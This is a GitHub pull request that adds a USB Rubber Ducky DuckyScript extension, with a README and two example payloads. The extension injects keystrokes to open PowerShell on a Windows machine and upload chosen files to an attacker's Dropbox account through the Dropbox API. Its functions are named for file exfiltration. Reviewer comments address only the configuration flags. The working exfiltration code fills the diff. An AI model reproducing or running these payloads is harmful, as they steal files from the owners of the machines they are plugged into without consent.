Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Extension: Send Files Through Dropbox - Windows #399

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
# Send Files Through Dropbox - Windows

This extension can be used to send one or more files through the Dropbox API without having to copy and paste reused code every time, but standardizing a methodology that avoids errors.

```
How many files do you want to exfiltrate?
|
|-- Single File
| |
| |-- Do you already know the full file path? (e.g., C:\Users\Aleff\Downloads\photo.png)
| | |
| | |-- Use the #SINGLE-FILE version
| | | |
| | | |-- Set #SINGLE-FILE to TRUE
| | | |-- Define the file path in #SINGLE-PATH
| | |
| |-- Don't know the full path but can obtain it at runtime through PowerShell?
| | |
| | |-- Use the $dropboxFilePath variable
| | | |
| | | |-- Set #SINGLE-FILE to TRUE
| | | |-- Obtain the file path through PowerShell and assign it to $dropboxFilePath
|
|-- Multiple Files
| |
| |-- Set the #MULTIPLE-FILES variable to TRUE
| | |
| | |-- Use an array of strings named $dropboxFilePaths to collect the paths of all the files you want to use

```


## Target Environment

- **Target**: Windows PowerShell

## Usage

Insert this extension when you have one or more files that you want to send or exfiltrate via Dropbox.

## Configuration

Before using the extension, you need to configure it by setting certain variables in the DuckyScript payload. Here are the configuration options:

### 1. Dropbox Access Token

- **Variable**: #DROPBOX_ACCESS_TOKEN
- **Type**: String
- **Description**: You must set this variable with your personal Dropbox access token, which you can obtain from your Dropbox account.

Example in DuckyScript:
```DuckyScript
DEFINE #DROPBOX_ACCESS_TOKEN YOUR_DROPBOX_ACCESS_TOKEN
```

### 2. Single File or Multiple Files

You can choose to send a single file or multiple files. Configure the extension accordingly.

#### Single File Configuration

- **Variable**: #SINGLE-FILE
- **Type**: Boolean (TRUE or FALSE)
- **Description**: Set #SINGLE-FILE to TRUE if you want to send just one file. In this case, you will need to specify the file path within the #SINGLE-PATH variable. Alternatively, you can acquire the file path at runtime via PowerShell and store it in the $dropboxFilePath variable.

Example in DuckyScript:
```DuckyScript
DEFINE #SINGLE-FILE TRUE
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
```

Example in PowerShell before using the extension:
```powershell
$dropboxFilePath = "C:\Users\Aleff\Downloads\photo.png"
```

#### Multiple Files Configuration

- **Variable**: #MULTIPLE-FILES
- **Type**: Boolean (TRUE or FALSE)
- **Description**: Set #MULTIPLE-FILES to TRUE if you want to send multiple files. In this case, in PowerShell, you will have to create the variable $dropboxFilePaths, which is an array of strings containing the list of paths related to the files you want to export.

Example in PowerShell before using the extension:
```powershell
$dropboxFilePaths = @(
"C:\Users\Aleff\Downloads\photo.png",
"C:\Users\Aleff\Downloads\document.pdf",
"C:\Users\Aleff\Downloads\song.mp3"
)
```

**Tips for Working with Arrays in PowerShell:**

- How to create an array:
```powershell
$dropboxFilePaths = @()
```

- How to add an element to the array:
```powershell
$dropboxFilePaths += "C:\Users\Aleff\Downloads\photo.png"
```

- How to view the array:
```powershell
$dropboxFilePaths
```

That's it! You can now use this extension with the appropriate configuration to send files via the Dropbox API using USB Rubber Ducky.

Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
In all examples it is good to look at the extension configuration settings to understand the differences.
Original file line number Diff line number Diff line change
@@ -0,0 +1,127 @@
REM I don't use the detect ready extension so as not to divert attention, but it would be best
DELAY 3000
GUI r
DELAY 500
STRING powershell
DELAY 500
ENTER
DELAY 2000

REM This is simply an example so to get the full path I use this command, but of course you use whatever way you see fit to get the path to your file(s)
STRINGLN $files = Get-ChildItem -Path .
STRINGLN $dropboxFilePaths += $files.FullName[0]
STRINGLN $dropboxFilePaths += $files.FullName[1]
REM ... and so on ...

REM At this time you need the variable $dropboxFilePath to contain the path to the file you want to exfiltrate


EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
REM VERSION 1.0
REM AUTHOR: Aleff

REM_BLOCK Documentation
This extension is used to send one or more files through the Dropbox API.

TARGET:
Windows PowerShell

USAGE:
Insert this extension when you have one or more files that you want to send via Dropbox.


CONFIGURATION:
Set #DROPBOX_ACCESS_TOKEN with a string - the string must be your personal Dropbox access token created from your Dropbox account.

Set #SINGLE-FILE with TRUE if you want to send just one file. In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $dropboxFilePath variable to capture this path.
i.e. in DuckyScript EXTENSION
DEFINE #SINGLE-FILE C:\Users\Aleff\Downloads\photo.png
i.e. in PowerShell before extension
$dropboxFilePath = "C:\Users\Aleff\Downloads\photo.png"

Set #MULTIPLE-FILES TRUE if you want to send multiple files. In this case in the PowerShell you will have to create the variable $dropboxFilePaths, which is an array of strings that should contain the list of paths related to the files you want to export.
i.e. in PowerShell before extension:
$dropboxFilePaths = @(
"C:\Users\Aleff\Downloads\photo.png",
"C:\Users\Aleff\Downloads\document.pdf",
"C:\Users\Aleff\Downloads\song.mp3"
)
Some tips:
How to create an Array?
> $dropboxFilePaths = @()
How to add an element?
> $dropboxFilePaths += "C:\Users\Aleff\Downloads\photo.png"
How to see the array?
> $dropboxFilePaths


END_REM

REM Settings

DEFINE #DROPBOX_ACCESS_TOKEN 0
DEFINE #SINGLE-FILE FALSE
DEFINE #SINGLE-PATH 0
DEFINE #MULTIPLE-FILES TRUE
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

if the only options are
SINGLE-FILE | MULTIPLE-FILES
I would suggest refactoring this so that there is only one flag to toggle; this eliminates the possibility of a user setting both to true, or both to false.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I realize i commented on the exmaple, but this suggestion is meant for the extension itself lol

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Right note, I thank you for the report.
I will fix this issue in the next commit.


REM From now don't change anything else.

DEFINE #UPLOAD-URL $uploadUrl="https://content.dropboxapi.com/2/files/upload"

DEFINE #CREATE-HEADERS $headers=@{}
DEFINE #HEADERS-ADD-AUTH $headers.Add("Authorization","Bearer $accessToken")
DEFINE #HEADERS-USING-VAR-IN-POWERSHELL $headers.Add("Dropbox-API-Arg", '{"path":"$dropboxFilePath","mode":"add","autorename":true,"mute":false}')
DEFINE #HEADERS-CONENT-TYPE $headers.Add("Content-Type", "application/octet-stream")

DEFINE #SEND-REQUEST-USING-VAR-IN-POWERSHELL Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $dropboxFilePath;


FUNCTION SINGLE-FILE-EXFILTRATION()

STRINGLN #UPLOAD-URL
STRINGLN #CREATE-HEADERS
STRINGLN #HEADERS-ADD-AUTH

IF ( #SINGLE-PATH != 0 ) THEN
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

while technically correct

for compile-time configuration you should use IF_DEFINED_TRUE

This will tell the compiler to conditionally include/exclude code from the inject.bin at compile time rather than forcing the duck to do a check at runtime

https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/conditional-compilation

Copy link
Member

@dallaswinger dallaswinger Jan 3, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

after second review, i might be misreading this lol

disregard; i believe this is just a default value check?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The #SINGLE-PATH variable was created to give the user the ability to set before compilation the exact path to the single file to be exfiltrated.
In the case where the user does not know the exact path (e.g., because he does not know the machine name or he has to search for a file following a generalized procedure) he can configure the payload respecting the characteristics given in the description.

This is to say that basically for the single file one can use either the static version via the #SINGLE-PATH variable or the dynamic version by modifying the payload appropriately.

The use of the IF truth value ( #SINGLE-PATH != 0 ) is due to the fact that there cannot be an absolute path equal to the string 0 and, therefore, in the case where a change is detected it implies that the static mode has been used and that therefore the #SINGLE-PATH variable contains the absolute value of the file path. (I thought of this solution to reduce the extension of a variable/flag, namely #GENERALIZED)

In the extension description I realized an error, the use of the variable #SINGLE-FILE instead of #SINGLE-PATH, but I solved this problem as you will see in the next commit so I ask you to re-evaluate based on the utl latest update since I am making several changes and you might find the answer to the note you made.


STRINGLN $headers.Add("Dropbox-API-Arg", '{"path":"#SINGLE-PATH","mode":"add","autorename":true,"mute":false}')
STRINGLN #HEADERS-CONENT-TYPE
STRINGLN Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body #SINGLE-PATH

ELSE IF ( #SINGLE-PATH == 0 ) THEN

STRINGLN #HEADERS-USING-VAR-IN-POWERSHELL
STRINGLN #HEADERS-CONENT-TYPE
STRINGLN #SEND-REQUEST-USING-VAR-IN-POWERSHELL

END_IF

END_FUNCTION

FUNCTION MULTIPLE-FILES-EXFILTRATION()

STRINGLN foreach ($dropboxFilePath in $dropboxFilePaths) {
STRINGLN #CREATE-HEADERS
STRINGLN #HEADERS-ADD-AUTH
STRINGLN #HEADERS-USING-VAR-IN-POWERSHELL
STRINGLN #HEADERS-CONENT-TYPE
STRINGLN #SEND-REQUEST-USING-VAR-IN-POWERSHELL
STRINGLN }

END_FUNCTION

IF ( #DROPBOX_ACCESS_TOKEN != 0) THEN

STRINGLN #UPLOAD-URL

IF_DEFINED_TRUE #SINGLE-FILE
SINGLE-FILE-EXFILTRATION()
END_IF_DEFINED

IF_DEFINED_TRUE #MULTIPLE-FILES
MULTIPLE-FILES-EXFILTRATION()
END_IF_DEFINED

END_IF

END_EXTENSION
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
REM I don't use the detect ready extension so as not to divert attention, but it would be best
DELAY 3000
GUI r
DELAY 500
STRING powershell
DELAY 500
ENTER
DELAY 2000

REM In this case, you will not need to do any other operations...

EXTENSION SEND_FILES_THROUGH_DROPBOX_WINDOWS
REM VERSION 1.0
REM AUTHOR: Aleff

REM_BLOCK Documentation
This extension is used to send one or more files through the Dropbox API.

TARGET:
Windows PowerShell

USAGE:
Insert this extension when you have one or more files that you want to send via Dropbox.


CONFIGURATION:
Set #DROPBOX_ACCESS_TOKEN with a string - the string must be your personal Dropbox access token created from your Dropbox account.

Set #SINGLE-FILE with TRUE if you want to send just one file. In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $dropboxFilePath variable to capture this path.
i.e. in DuckyScript EXTENSION
DEFINE #SINGLE-FILE C:\Users\Aleff\Downloads\photo.png
i.e. in PowerShell before extension
$dropboxFilePath = "C:\Users\Aleff\Downloads\photo.png"

Set #MULTIPLE-FILES TRUE if you want to send multiple files. In this case in the PowerShell you will have to create the variable $dropboxFilePaths, which is an array of strings that should contain the list of paths related to the files you want to export.
i.e. in PowerShell before extension:
$dropboxFilePaths = @(
"C:\Users\Aleff\Downloads\photo.png",
"C:\Users\Aleff\Downloads\document.pdf",
"C:\Users\Aleff\Downloads\song.mp3"
)
Some tips:
How to create an Array?
> $dropboxFilePaths = @()
How to add an element?
> $dropboxFilePaths += "C:\Users\Aleff\Downloads\photo.png"
How to see the array?
> $dropboxFilePaths


END_REM

REM Settings

DEFINE #DROPBOX_ACCESS_TOKEN my-personale-dropbox-access-token
DEFINE #SINGLE-FILE TRUE
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
DEFINE #MULTIPLE-FILES FALSE

REM From now don't change anything else.

DEFINE #UPLOAD-URL $uploadUrl="https://content.dropboxapi.com/2/files/upload"

DEFINE #CREATE-HEADERS $headers=@{}
DEFINE #HEADERS-ADD-AUTH $headers.Add("Authorization","Bearer $accessToken")
DEFINE #HEADERS-USING-VAR-IN-POWERSHELL $headers.Add("Dropbox-API-Arg", '{"path":"$dropboxFilePath","mode":"add","autorename":true,"mute":false}')
DEFINE #HEADERS-CONENT-TYPE $headers.Add("Content-Type", "application/octet-stream")

DEFINE #SEND-REQUEST-USING-VAR-IN-POWERSHELL Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body $dropboxFilePath;


FUNCTION SINGLE-FILE-EXFILTRATION()

STRINGLN #UPLOAD-URL
STRINGLN #CREATE-HEADERS
STRINGLN #HEADERS-ADD-AUTH

IF ( #SINGLE-PATH != 0 ) THEN

STRINGLN $headers.Add("Dropbox-API-Arg", '{"path":"#SINGLE-PATH","mode":"add","autorename":true,"mute":false}')
STRINGLN #HEADERS-CONENT-TYPE
STRINGLN Invoke-RestMethod -Uri $uploadUrl -Headers $headers -Method Post -Body #SINGLE-PATH

ELSE IF ( #SINGLE-PATH == 0 ) THEN

STRINGLN #HEADERS-USING-VAR-IN-POWERSHELL
STRINGLN #HEADERS-CONENT-TYPE
STRINGLN #SEND-REQUEST-USING-VAR-IN-POWERSHELL

END_IF

END_FUNCTION

FUNCTION MULTIPLE-FILES-EXFILTRATION()

STRINGLN foreach ($dropboxFilePath in $dropboxFilePaths) {
STRINGLN #CREATE-HEADERS
STRINGLN #HEADERS-ADD-AUTH
STRINGLN #HEADERS-USING-VAR-IN-POWERSHELL
STRINGLN #HEADERS-CONENT-TYPE
STRINGLN #SEND-REQUEST-USING-VAR-IN-POWERSHELL
STRINGLN }

END_FUNCTION

IF ( #DROPBOX_ACCESS_TOKEN != 0) THEN

STRINGLN #UPLOAD-URL

IF_DEFINED_TRUE #SINGLE-FILE
SINGLE-FILE-EXFILTRATION()
END_IF_DEFINED

IF_DEFINED_TRUE #MULTIPLE-FILES
MULTIPLE-FILES-EXFILTRATION()
END_IF_DEFINED
END_IF

END_EXTENSION
Loading